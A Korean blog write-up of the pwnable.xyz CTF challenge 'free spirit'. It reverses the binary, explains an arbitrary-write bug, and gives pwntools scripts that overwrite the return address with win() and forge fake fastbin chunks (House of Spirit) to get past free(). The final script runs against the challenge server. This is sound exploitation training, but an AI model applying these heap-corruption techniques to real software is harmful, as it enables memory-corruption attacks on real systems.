pwnable.xyz 9번째 문제 free spirit 이다.

 

앞에 문제보다 시간을 꽤 소모 했고, 이해하기도 힘들었고, 배운 것들이 많았던 문제 였다.

 

문제를 풀기 위해서는 Heap의 구조, fastbin, House of spirit 에 대해 알고 있어야 한다.

 


Analyze

 

이번 문제의 바이너리 안에 사용자 정의 함수를 찾아보면,

main과 win 함수 말고는 특벌한 함수는 없다.

free spirit 바이너리 안에 함수 목록

 

 

main 함수를 gdb로 분석하여 c 코드로 나타내면 아래와 같다.

#include <stdio.h>

??? limit; // 0x60102c

int main(){
    *(&rsp+0x10) = malloc(0x40);    // 0x602260
                                    // &rsp+0x10 = 0x7fffffffe460
    while(1){
        printf("> ");
    
        read(0, 0x7fffffffe468, 0x30);
        int select = atoi(*(0x7fffffffe468));
        
        if(select == 0){
            if(*(&rsp+0x10)){
                free(*(&rsp+0x10));
                break;
            }
            else
                exit(1);
        }
        
        else if(select == 1){   
            // 0, *(&rsp+0x10), 0x20
          	// call read() function
        }
        
        else if(select == 2)
            printf("%p\n", &rsp+0x10);
            
        else if(select == 3){
            if(limit > 1){
                continue;
            }
            else{
            	// 16bytes 값만 가져옴
            	char get_16bytes = *(*(&rsp+0x10));
                *(0x7fffffffe458) = get_16bytes;
            }
        }
        
        else{
            printf("Invalid\n");
        }
    }
}

 

select가 3일때, 0x7fffffffe458의 값에 16bytes 만큼 데이터를 overwrite 한다.

이때 0x7fffffffe460에는 malloc(0x40) 에 할당된 주소가 들어가 있다.

즉, 이 값이 변조가 가능해 진다.

 

아래는 위에서 설명한 메모리 구조를 나타낸 것이다.

중요한 메모리 구조

만약 select 가 1일때, read 함수가 실행이 되면서 0x7fffffffe460 에 저장된 값의 주소에 데이터를 저장하게 된다.

0x7fffffffe460의 값이 select 3에 의해 변조가 되어 버린다면 Write anywhere anything 이 가능하다. 

 

값을 변조하기 위해서 select = 1, [Dummy code 8bytes] + [any address] 값을 입력하면 0x602260에 저장이 되고,

select = 3 이면, 0x7fffffffe458에 16bytes 값이 overwrite 되면서 0x7fffffffe460 에 [any address] 가 저장이 된다.

 

 

그렇다면, main 함수의 RET를 변조하여 win() 함수의 주소로 바꿔보자.

RET 주소는 select = 2 일때 출력되는 주소에서 0x58 만큼 떨어져 있다.

아래 python 코드를 통해 Return address = 0x7fffffffe568 를 구했다.

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

p = process("./challenge")

# Return address 구하기
p.sendlineafter("> ", "2")
leak_addr = p.recvuntil("\n").replace("\n", "")
leak_addr = int(leak_addr, 16)
print("[*] Return address: " + hex(leak_addr + 0x58))


script= '''
x/16gx {}
'''.format(hex(leak_addr + 0x58))

gdb.attach(proc.pidof(p)[0], script)
context(terminal = ['xterm', 'splitw'])

p.interactive()
[*] Return address: 0x7fffffffe568   

 

 

 

이를 select = 1 로 통해 [Dummy code 8bytes] + [Return address] 를 입력한 후,

select = 3 을 통해 [Return address] 를 저장시킨다.

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

p = process("./challenge")

# Get return address
p.sendlineafter("> ", "2")
leak_addr = p.recvuntil("\n").replace("\n", "")
leak_addr = int(leak_addr, 16)
print("[*] Return address: " + hex(leak_addr + 0x58))


# [Dummy code 8bytes] + [Return address]
p.sendlineafter("> ", "1")
return_addr = leak_addr + 0x58
tmp_1 = "A" * 8 + p64(return_addr)
p.sendline(tmp_1)


# overwrite
p.sendlineafter("> ", "3")


script= '''
x/16gx {}
'''.format(hex(leak_addr))

gdb.attach(proc.pidof(p)[0], script)
context(terminal = ['xterm', 'splitw'])

p.interactive()

RET address로 변조된 사진

 

 

 

위 코드로 0x7fffffffe510 에 저장된 값 0x602260 이 RET address로 변조된 것을 볼 수 있다.

RET address의 값을 win() 함수의 주소로 변조 하기 위해 select = 1을 사용한다.

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

p = process("./challenge")

# Get return address
p.sendlineafter("> ", "2")
leak_addr = p.recvuntil("\n").replace("\n", "")
leak_addr = int(leak_addr, 16)
print("[*] Return address: " + hex(leak_addr + 0x58))


# [Dummy code 8bytes] + [Return address]
p.sendlineafter("> ", "1")
return_addr = leak_addr + 0x58
tmp_1 = "A" * 8 + p64(return_addr)
p.sendline(tmp_1)


# overwrite
p.sendlineafter("> ", "3")

# RET address 주소의 값 변조
p.sendlineafter("> ", "1")
win_addr = 0x400a3e
tmp_2 = p64(win_addr)
p.sendline(tmp_2)

script= '''
x/16gx {}
'''.format(hex(leak_addr))

gdb.attach(proc.pidof(p)[0], script)
context(terminal = ['xterm', 'splitw'])

p.interactive()

RET address 주소의 값이 변조된 사진

 

이제 프로그램이 종료되면 win() 함수로 점프를 하게 되는데, 문제는 종료 되기 전에 free() 함수를 실행 한다는 것이다.

malloc() 함수에 의해 할당된 주소는 이미 변조된 주소로 저장되어 있기 때문에 fake chunk 2개를 만든다.

 

 

fake chunk를 2개 만드는 이유는

free() 를 수행할때, free 하는 chunk에 인접한 chunk를 검사한다. 이때 잘못됨을 감지하면 free() error 가 발생하여 종료된다. 자세히 알고 싶으면 아래 블로그를 참고하자.

 

김프리씨 상세 분석일지 2 (glibc-2.25)

김프리씨 상세 분석일지 2 (glibc-2.25) heap 공부는 malloc 동작 분석부터 하는게 맞는거 같다. malloc 관련해서 예전에 정리해놓은 걸 좀 더 다듬어 봤다. heap 공부를 하는 누군가에게(나를 포함한) 도움이 되..

chp747.tistory.com

 

 

[glibc 2.23] malloc.c 분석

요 며칠동안 plaiddb 문제 풀다 멘붕와서, 잠깐 머리 식힐 겸 미뤄뒀던 malloc 분석을 할 겸 glibc 2.23의 malloc.c 소스를 분석해서 포스팅 해볼까 합니다. source : https://github.com/andigena/glibc-2.23-0ub..

kimvabel.tistory.com

 

 

 

이러한 이유 때문에, free() 함수의 보안을 우회하기 위해 [win() 함수 주소] + [fake chunk 주소] 를 넣어 주어야 한다.

fake chunk 를 만들 위치는 0x601030에 만들 것이다.

아래 사진을 보면 0x601030은 write 권한이 있는 것을 볼 수 있다.

메모리 범위에 따라 권한여부

 

fake chunk 2개를 만들기 위해 아래와 같은 과정이 필요하다.

 

(여기서 부터는 롸업을 봤다. )

0x601030을 기준으로

0x601038에 chunk size인  0x51 값을 넣고

0x601040에 next chunk address 인 0x601088 을 넣는다.

 

입력 순서는

select 1 => p64([win() addr]) +  p64(0x601030)

select 3

select 1 => p64(0x51) + p64(0x601088)

select 3

 

 

그다음 0x601088 에 0x51 값을 넣고

free()를 수행할 0x601040 값을 넣는다.

 

입력 순서는

select 1 => p64(0x51) + p64(0x601040)

select 3

 

 

이렇게 하면 fake chunk 를 만들 수 있게 된다.

 

아래 사진은 위 설명을 그림으로 나타낸 것이다.

 

Payload

 

최종적인 payload는 아래와 같다.

 

from pwn import *

p = remote("svc.pwnable.xyz", 30005)


win_addr = 0x400a3e
fake_chunk = 0x601030

# Get address
p.sendlineafter("> ", "2")
addr = p.recvline("\n")
print(addr)

# Write "return address"
addr = int(addr.replace("\n", ""), 16)
first = "A"*8 + p64(addr + 0x58)
p.sendlineafter("> ", "1")
p.sendline(first)

# Overwrite "heap address" to "return address"
p.sendlineafter("> ", "3")

# Write "win function address" in overwrited "return address" 
p.sendlineafter("> ", "1")
second = p64(win_addr)
second += p64(fake_chunk + 0x8)
p.sendline(second)

# Set fake chunk
p.sendlineafter("> ", "3")

p.sendlineafter("> ", "1")
third = p64(0x51) + p64(fake_chunk + 0x58)
p.sendline(third)
p.sendlineafter("> ", "3")

p.sendlineafter("> ", "1")
fourth = p64(0x51) + p64(fake_chunk + 0x10)
p.sendline(fourth)
p.sendlineafter("> ", "3")


# Finish
p.sendlineafter("> ", "0")

p.interactive()

 

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table write up  (0) 2020.01.31
[pwnable.xyz] TLSv00 write up  (0) 2020.01.28
[pwnable.xyz] free spirit write up  (0) 2020.01.27
[pwnable.xyz] note write up  (0) 2020.01.25
[pwnable.xyz] Grownup write up  (0) 2020.01.25
[pwnable.xyz] two targets write up  (0) 2020.01.02